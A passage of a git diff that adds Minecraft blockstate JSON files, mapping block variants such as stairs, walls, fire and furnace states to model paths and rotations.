+1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/emerald_ore" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/enchanting_table.json b/src/assets/minecraft/blockstates/enchanting_table.json new file mode 100644 index 00000000..85aeab36 --- /dev/null +++ b/src/assets/minecraft/blockstates/enchanting_table.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/enchanting_table" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/end_gateway.json b/src/assets/minecraft/blockstates/end_gateway.json new file mode 100644 index 00000000..2b5f683e --- /dev/null +++ b/src/assets/minecraft/blockstates/end_gateway.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/end_portal" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/end_portal.json b/src/assets/minecraft/blockstates/end_portal.json new file mode 100644 index 00000000..2b5f683e --- /dev/null +++ b/src/assets/minecraft/blockstates/end_portal.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/end_portal" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/end_portal_frame.json b/src/assets/minecraft/blockstates/end_portal_frame.json new file mode 100644 index 00000000..adcb19a1 --- /dev/null +++ b/src/assets/minecraft/blockstates/end_portal_frame.json @@ -0,0 +1,34 @@ +{ + "variants": { + "eye=false,facing=east": { + "model": "minecraft:block/end_portal_frame", + "y": 270 + }, + "eye=false,facing=north": { + "model": "minecraft:block/end_portal_frame", + "y": 180 + }, + "eye=false,facing=south": { + "model": "minecraft:block/end_portal_frame" + }, + "eye=false,facing=west": { + "model": "minecraft:block/end_portal_frame", + "y": 90 + }, + "eye=true,facing=east": { + "model": "minecraft:block/end_portal_frame_filled", + "y": 270 + }, + "eye=true,facing=north": { + "model": "minecraft:block/end_portal_frame_filled", + "y": 180 + }, + "eye=true,facing=south": { + "model": "minecraft:block/end_portal_frame_filled" + }, + "eye=true,facing=west": { + "model": "minecraft:block/end_portal_frame_filled", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/end_rod.json b/src/assets/minecraft/blockstates/end_rod.json new file mode 100644 index 00000000..0119a1a2 --- /dev/null +++ b/src/assets/minecraft/blockstates/end_rod.json @@ -0,0 +1,30 @@ +{ + "variants": { + "facing=down": { + "model": "minecraft:block/end_rod", + "x": 180 + }, + "facing=east": { + "model": "minecraft:block/end_rod", + "x": 90, + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/end_rod", + "x": 90 + }, + "facing=south": { + "model": "minecraft:block/end_rod", + "x": 90, + "y": 180 + }, + "facing=up": { + "model": "minecraft:block/end_rod" + }, + "facing=west": { + "model": "minecraft:block/end_rod", + "x": 90, + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/end_stone.json b/src/assets/minecraft/blockstates/end_stone.json new file mode 100644 index 00000000..e8e23c91 --- /dev/null +++ b/src/assets/minecraft/blockstates/end_stone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/end_stone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/end_stone_brick_slab.json b/src/assets/minecraft/blockstates/end_stone_brick_slab.json new file mode 100644 index 00000000..08681cc5 --- /dev/null +++ b/src/assets/minecraft/blockstates/end_stone_brick_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/end_stone_brick_slab" + }, + "type=double": { + "model": "minecraft:block/end_stone_bricks" + }, + "type=top": { + "model": "minecraft:block/end_stone_brick_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/end_stone_brick_stairs.json b/src/assets/minecraft/blockstates/end_stone_brick_stairs.json new file mode 100644 index 00000000..a60c35ba --- /dev/null +++ b/src/assets/minecraft/blockstates/end_stone_brick_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/end_stone_brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/end_stone_brick_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/end_stone_brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/end_stone_brick_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/end_stone_brick_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/end_stone_brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/end_stone_brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/end_stone_brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/end_stone_brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/end_stone_brick_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/end_stone_brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/end_stone_brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/end_stone_brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/end_stone_brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/end_stone_brick_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/end_stone_brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/end_stone_brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/end_stone_brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/end_stone_brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/end_stone_brick_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/end_stone_brick_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/end_stone_brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/end_stone_brick_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/end_stone_brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/end_stone_brick_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/end_stone_brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/end_stone_brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/end_stone_brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/end_stone_brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/end_stone_brick_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/end_stone_brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/end_stone_brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/end_stone_brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/end_stone_brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/end_stone_brick_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/end_stone_brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/end_stone_brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/end_stone_brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/end_stone_brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/end_stone_brick_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/end_stone_brick_wall.json b/src/assets/minecraft/blockstates/end_stone_brick_wall.json new file mode 100644 index 00000000..c416264a --- /dev/null +++ b/src/assets/minecraft/blockstates/end_stone_brick_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/end_stone_brick_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/end_stone_brick_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/end_stone_brick_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/end_stone_brick_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/end_stone_brick_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/end_stone_brick_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/end_stone_brick_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/end_stone_brick_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/end_stone_brick_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/end_stone_bricks.json b/src/assets/minecraft/blockstates/end_stone_bricks.json new file mode 100644 index 00000000..1cc0910a --- /dev/null +++ b/src/assets/minecraft/blockstates/end_stone_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/end_stone_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/ender_chest.json b/src/assets/minecraft/blockstates/ender_chest.json new file mode 100644 index 00000000..8656aed7 --- /dev/null +++ b/src/assets/minecraft/blockstates/ender_chest.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/ender_chest" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/farmland.json b/src/assets/minecraft/blockstates/farmland.json new file mode 100644 index 00000000..93882d0c --- /dev/null +++ b/src/assets/minecraft/blockstates/farmland.json @@ -0,0 +1,28 @@ +{ + "variants": { + "moisture=0": { + "model": "minecraft:block/farmland" + }, + "moisture=1": { + "model": "minecraft:block/farmland" + }, + "moisture=2": { + "model": "minecraft:block/farmland" + }, + "moisture=3": { + "model": "minecraft:block/farmland" + }, + "moisture=4": { + "model": "minecraft:block/farmland" + }, + "moisture=5": { + "model": "minecraft:block/farmland" + }, + "moisture=6": { + "model": "minecraft:block/farmland" + }, + "moisture=7": { + "model": "minecraft:block/farmland_moist" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/fern.json b/src/assets/minecraft/blockstates/fern.json new file mode 100644 index 00000000..01cf1d34 --- /dev/null +++ b/src/assets/minecraft/blockstates/fern.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/fern" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/fire.json b/src/assets/minecraft/blockstates/fire.json new file mode 100644 index 00000000..0a9983c3 --- /dev/null +++ b/src/assets/minecraft/blockstates/fire.json @@ -0,0 +1,172 @@ +{ + "multipart": [ + { + "when": { + "up": "false", + "west": "false", + "east": "false", + "south": "false", + "north": "false" + }, + "apply": [ + { + "model": "minecraft:block/fire_floor0" + }, + { + "model": "minecraft:block/fire_floor1" + } + ] + }, + { + "when": { + "OR": [ + { + "north": "true" + }, + { + "up": "false", + "west": "false", + "east": "false", + "south": "false", + "north": "false" + } + ] + }, + "apply": [ + { + "model": "minecraft:block/fire_side0" + }, + { + "model": "minecraft:block/fire_side1" + }, + { + "model": "minecraft:block/fire_side_alt0" + }, + { + "model": "minecraft:block/fire_side_alt1" + } + ] + }, + { + "when": { + "OR": [ + { + "east": "true" + }, + { + "up": "false", + "west": "false", + "east": "false", + "south": "false", + "north": "false" + } + ] + }, + "apply": [ + { + "model": "minecraft:block/fire_side0", + "y": 90 + }, + { + "model": "minecraft:block/fire_side1", + "y": 90 + }, + { + "model": "minecraft:block/fire_side_alt0", + "y": 90 + }, + { + "model": "minecraft:block/fire_side_alt1", + "y": 90 + } + ] + }, + { + "when": { + "OR": [ + { + "south": "true" + }, + { + "up": "false", + "west": "false", + "east": "false", + "south": "false", + "north": "false" + } + ] + }, + "apply": [ + { + "model": "minecraft:block/fire_side0", + "y": 180 + }, + { + "model": "minecraft:block/fire_side1", + "y": 180 + }, + { + "model": "minecraft:block/fire_side_alt0", + "y": 180 + }, + { + "model": "minecraft:block/fire_side_alt1", + "y": 180 + } + ] + }, + { + "when": { + "OR": [ + { + "west": "true" + }, + { + "up": "false", + "west": "false", + "east": "false", + "south": "false", + "north": "false" + } + ] + }, + "apply": [ + { + "model": "minecraft:block/fire_side0", + "y": 270 + }, + { + "model": "minecraft:block/fire_side1", + "y": 270 + }, + { + "model": "minecraft:block/fire_side_alt0", + "y": 270 + }, + { + "model": "minecraft:block/fire_side_alt1", + "y": 270 + } + ] + }, + { + "when": { + "up": "true" + }, + "apply": [ + { + "model": "minecraft:block/fire_up0" + }, + { + "model": "minecraft:block/fire_up1" + }, + { + "model": "minecraft:block/fire_up_alt0" + }, + { + "model": "minecraft:block/fire_up_alt1" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/fire_coral.json b/src/assets/minecraft/blockstates/fire_coral.json new file mode 100644 index 00000000..a80bfadc --- /dev/null +++ b/src/assets/minecraft/blockstates/fire_coral.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/fire_coral" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/fire_coral_block.json b/src/assets/minecraft/blockstates/fire_coral_block.json new file mode 100644 index 00000000..a4f98fbd --- /dev/null +++ b/src/assets/minecraft/blockstates/fire_coral_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/fire_coral_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/fire_coral_fan.json b/src/assets/minecraft/blockstates/fire_coral_fan.json new file mode 100644 index 00000000..d6579f89 --- /dev/null +++ b/src/assets/minecraft/blockstates/fire_coral_fan.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/fire_coral_fan" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/fire_coral_wall_fan.json b/src/assets/minecraft/blockstates/fire_coral_wall_fan.json new file mode 100644 index 00000000..91493306 --- /dev/null +++ b/src/assets/minecraft/blockstates/fire_coral_wall_fan.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/fire_coral_wall_fan", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/fire_coral_wall_fan" + }, + "facing=south": { + "model": "minecraft:block/fire_coral_wall_fan", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/fire_coral_wall_fan", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/fletching_table.json b/src/assets/minecraft/blockstates/fletching_table.json new file mode 100644 index 00000000..941b4fd9 --- /dev/null +++ b/src/assets/minecraft/blockstates/fletching_table.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/fletching_table" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/flower_pot.json b/src/assets/minecraft/blockstates/flower_pot.json new file mode 100644 index 00000000..8a1ab93b --- /dev/null +++ b/src/assets/minecraft/blockstates/flower_pot.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/flower_pot" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/frosted_ice.json b/src/assets/minecraft/blockstates/frosted_ice.json new file mode 100644 index 00000000..f03b5bdc --- /dev/null +++ b/src/assets/minecraft/blockstates/frosted_ice.json @@ -0,0 +1,16 @@ +{ + "variants": { + "age=0": { + "model": "minecraft:block/frosted_ice_0" + }, + "age=1": { + "model": "minecraft:block/frosted_ice_1" + }, + "age=2": { + "model": "minecraft:block/frosted_ice_2" + }, + "age=3": { + "model": "minecraft:block/frosted_ice_3" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/furnace.json b/src/assets/minecraft/blockstates/furnace.json new file mode 100644 index 00000000..9c31d91f --- /dev/null +++ b/src/assets/minecraft/blockstates/furnace.json @@ -0,0 +1,34 @@ +{ + "variants": { + "facing=east,lit=false": { + "model": "minecraft:block/furnace", + "y": 90 + }, + "facing=east,lit=true": { + "model": "minecraft:block/furnace_on", + "y": 90 + }, + "facing=north,lit=false": { + "model": "minecraft:block/furnace" + }, + "facing=north,lit=true": { + "model": "minecraft:block/furnace_on" + }, + "facing=south,lit=false": { + "model": "minecraft:block/furnace", + "y": 180 + }, + "facing=south,lit=true": { + "model": "minecraft:block/furnace_on", + "y": 180 + }, + "facing=west,lit=false": { + "model": "minecraft:block/furnace", + "y": 270 + }, + "facing=west,lit=true": { + "model": "minecraft:block/furnace_on", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gilded_blackstone.json b/src/assets/minecraft/blockstates/gilded_blackstone.json new file mode 100644 index 00000000..511f5825 --- /dev/null +++ b/src/assets/minecraft/blockstates/gilded_blackstone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/gilded_blackstone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/glass.json b/src/assets/minecraft/blockstates/glass.json new file mode 100644 index 00000000..5f6ec4d2 --- /dev/null +++ b/src/assets/minecraft/blockstates/glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/glass_pane.json b/src/assets/minecraft/blockstates/glass_pane.json new file mode 100644 index 00000000..f516703a --- /dev/null +++ b/src/assets/minecraft/blockstates/glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/glowstone.json b/src/assets/minecraft/blockstates/glowstone.json new file mode 100644 index 00000000..c60860b8 --- /dev/null +++ b/src/assets/minecraft/blockstates/glowstone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/glowstone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gold_block.json b/src/assets/minecraft/blockstates/gold_block.json new file mode 100644 index 00000000..475eff02 --- /dev/null +++ b/src/assets/minecraft/blockstates/gold_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/gold_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gold_ore.json b/src/assets/minecraft/blockstates/gold_ore.json new file mode 100644 index 00000000..183d0679 --- /dev/null +++ b/src/assets/minecraft/blockstates/gold_ore.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/gold_ore" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/granite.json b/src/assets/minecraft/blockstates/granite.json new file mode 100644 index 00000000..d11c34e1 --- /dev/null +++ b/src/assets/minecraft/blockstates/granite.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/granite" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/granite_slab.json b/src/assets/minecraft/blockstates/granite_slab.json new file mode 100644 index 00000000..1d2d50b6 --- /dev/null +++ b/src/assets/minecraft/blockstates/granite_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/granite_slab" + }, + "type=double": { + "model": "minecraft:block/granite" + }, + "type=top": { + "model": "minecraft:block/granite_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/granite_stairs.json b/src/assets/minecraft/blockstates/granite_stairs.json new file mode 100644 index 00000000..514907d2 --- /dev/null +++ b/src/assets/minecraft/blockstates/granite_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/granite_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/granite_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/granite_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/granite_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/granite_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/granite_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/granite_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/granite_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/granite_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/granite_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/granite_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/granite_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/granite_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/granite_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/granite_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/granite_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/granite_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/granite_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/granite_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/granite_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/granite_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/granite_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/granite_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/granite_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/granite_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/granite_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/granite_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/granite_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/granite_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/granite_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/granite_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/granite_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/granite_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/granite_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/granite_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/granite_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/granite_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/granite_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/granite_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/granite_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/granite_wall.json b/src/assets/minecraft/blockstates/granite_wall.json new file mode 100644 index 00000000..66e72147 --- /dev/null +++ b/src/assets/minecraft/blockstates/granite_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/granite_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/granite_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/granite_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/granite_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/granite_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/granite_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/granite_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/granite_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/granite_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/grass.json b/src/assets/minecraft/blockstates/grass.json new file mode 100644 index 00000000..e45466ee --- /dev/null +++ b/src/assets/minecraft/blockstates/grass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/grass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/grass_block.json b/src/assets/minecraft/blockstates/grass_block.json new file mode 100644 index 00000000..ab4efdb1 --- /dev/null +++ b/src/assets/minecraft/blockstates/grass_block.json @@ -0,0 +1,24 @@ +{ + "variants": { + "snowy=false": [ + { + "model": "minecraft:block/grass_block" + }, + { + "model": "minecraft:block/grass_block", + "y": 90 + }, + { + "model": "minecraft:block/grass_block", + "y": 180 + }, + { + "model": "minecraft:block/grass_block", + "y": 270 + } + ], + "snowy=true": { + "model": "minecraft:block/grass_block_snow" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/grass_path.json b/src/assets/minecraft/blockstates/grass_path.json new file mode 100644 index 00000000..92aa2ba0 --- /dev/null +++ b/src/assets/minecraft/blockstates/grass_path.json @@ -0,0 +1,21 